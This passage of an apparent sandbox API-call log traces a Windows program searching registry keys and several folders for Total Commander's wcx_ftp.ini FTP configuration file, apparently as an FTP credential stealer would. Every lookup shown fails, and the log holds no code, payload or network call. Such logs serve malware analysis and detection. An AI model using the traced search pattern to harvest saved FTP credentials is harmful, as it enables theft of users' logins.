libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.328] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.328] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.328] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd50) returned 0x0 [0047.328] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd64) returned 0x0 [0047.328] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd68) returned 0x0 [0047.328] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.328] GetWindowsDirectoryA (in: lpBuffer=0x7469f0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0047.328] lstrlenA (lpString="C:\\Windows") returned 10 [0047.328] lstrlenA (lpString="\\") returned 1 [0047.328] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x716ef8 [0047.328] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0047.328] lstrcatA (in: lpString1="C:\\Windows", lpString2="\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0047.328] LocalFree (hMem=0x7469f0) returned 0x0 [0047.328] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.328] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.328] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.329] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.329] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.329] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.329] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.329] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.329] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.329] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.329] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.329] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.329] lstrlenA (lpString="C:\\Windows\\") returned 11 [0047.329] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0047.329] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x721848 [0047.329] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0047.329] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Windows\\wcx_ftp.ini") returned="C:\\Windows\\wcx_ftp.ini" [0047.329] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x18 [0047.329] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x73cc70 [0047.329] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\wcx_ftp.ini", lpDst=0x73cc70, nSize=0x18 | out: lpDst="C:\\Windows\\wcx_ftp.ini") returned 0x17 [0047.329] CreateFileA (lpFileName="C:\\Windows\\wcx_ftp.ini" (normalized: "c:\\windows\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.329] LocalFree (hMem=0x73cc70) returned 0x0 [0047.329] LocalFree (hMem=0x721848) returned 0x0 [0047.329] LocalFree (hMem=0x716ef8) returned 0x0 [0047.329] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.329] SHGetFolderPathA (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS") returned 0x0 [0047.329] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS") returned 23 [0047.329] lstrlenA (lpString="\\") returned 1 [0047.329] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x716ef8 [0047.329] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\Users\\aDU0VK IWA5kLS" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS") returned="C:\\Users\\aDU0VK IWA5kLS" [0047.329] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\") returned="C:\\Users\\aDU0VK IWA5kLS\\" [0047.329] LocalFree (hMem=0x7469f0) returned 0x0 [0047.329] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.330] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\") returned 24 [0047.330] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0047.330] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0047.330] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\") returned="C:\\Users\\aDU0VK IWA5kLS\\" [0047.330] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini") returned="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini" [0047.330] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0047.330] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x7548d0 [0047.330] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini", lpDst=0x7548d0, nSize=0x25 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini") returned 0x24 [0047.330] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini" (normalized: "c:\\users\\adu0vk iwa5kls\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.330] LocalFree (hMem=0x7548d0) returned 0x0 [0047.330] LocalFree (hMem=0x754820) returned 0x0 [0047.330] LocalFree (hMem=0x716ef8) returned 0x0 [0047.330] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.330] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.330] lstrlenA (lpString="\\GHISLER") returned 8 [0047.331] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x750820 [0047.331] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.331] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\GHISLER" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER" [0047.331] LocalFree (hMem=0x7469f0) returned 0x0 [0047.331] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER") returned 47 [0047.331] lstrlenA (lpString="\\") returned 1 [0047.331] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x721848 [0047.331] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER" [0047.331] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\" [0047.331] LocalFree (hMem=0x750820) returned 0x0 [0047.331] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.331] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.331] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\") returned 48 [0047.331] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0047.331] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a670 [0047.331] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\" [0047.331] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini" [0047.331] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3d [0047.331] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x74a738 [0047.331] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini", lpDst=0x74a738, nSize=0x3d | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini") returned 0x3c [0047.332] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\ghisler\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.332] LocalFree (hMem=0x74a738) returned 0x0 [0047.332] LocalFree (hMem=0x74a670) returned 0x0 [0047.332] LocalFree (hMem=0x721848) returned 0x0 [0047.332] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.332] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.332] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.332] lstrlenA (lpString="\\GHISLER") returned 8 [0047.332] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x716ef8 [0047.332] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.332] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GHISLER" | out: lpString1="C:\\ProgramData\\GHISLER") returned="C:\\ProgramData\\GHISLER" [0047.332] LocalFree (hMem=0x7469f0) returned 0x0 [0047.332] lstrlenA (lpString="C:\\ProgramData\\GHISLER") returned 22 [0047.332] lstrlenA (lpString="\\") returned 1 [0047.332] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x721848 [0047.332] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData\\GHISLER" | out: lpString1="C:\\ProgramData\\GHISLER") returned="C:\\ProgramData\\GHISLER" [0047.332] lstrcatA (in: lpString1="C:\\ProgramData\\GHISLER", lpString2="\\" | out: lpString1="C:\\ProgramData\\GHISLER\\") returned="C:\\ProgramData\\GHISLER\\" [0047.332] LocalFree (hMem=0x716ef8) returned 0x0 [0047.332] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.333] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.333] lstrlenA (lpString="C:\\ProgramData\\GHISLER\\") returned 23 [0047.333] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0047.333] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0047.333] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData\\GHISLER\\" | out: lpString1="C:\\ProgramData\\GHISLER\\") returned="C:\\ProgramData\\GHISLER\\" [0047.333] lstrcatA (in: lpString1="C:\\ProgramData\\GHISLER\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\ProgramData\\GHISLER\\wcx_ftp.ini") returned="C:\\ProgramData\\GHISLER\\wcx_ftp.ini" [0047.333] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GHISLER\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x24 [0047.333] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x7548d0 [0047.333] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GHISLER\\wcx_ftp.ini", lpDst=0x7548d0, nSize=0x24 | out: lpDst="C:\\ProgramData\\GHISLER\\wcx_ftp.ini") returned 0x23 [0047.333] CreateFileA (lpFileName="C:\\ProgramData\\GHISLER\\wcx_ftp.ini" (normalized: "c:\\programdata\\ghisler\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.333] LocalFree (hMem=0x7548d0) returned 0x0 [0047.333] LocalFree (hMem=0x754820) returned 0x0 [0047.333] LocalFree (hMem=0x721848) returned 0x0 [0047.333] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.333] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.333] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.333] lstrlenA (lpString="\\GHISLER") returned 8 [0047.333] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x750820 [0047.333] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.334] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\GHISLER" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER" [0047.334] LocalFree (hMem=0x7469f0) returned 0x0 [0047.334] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER") returned 45 [0047.334] lstrlenA (lpString="\\") returned 1 [0047.334] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x7508d8 [0047.334] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER" [0047.334] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\" [0047.334] LocalFree (hMem=0x750820) returned 0x0 [0047.334] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd24 | out: phkResult=0xefd24*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcf8 | out: phkResult=0xefcf8*=0x0) returned 0x2 [0047.334] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefccc | out: phkResult=0xefccc*=0x0) returned 0x2 [0047.334] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\") returned 46 [0047.334] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0047.334] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x74a670 [0047.334] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\" [0047.334] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini" [0047.334] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3b [0047.334] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x74a738 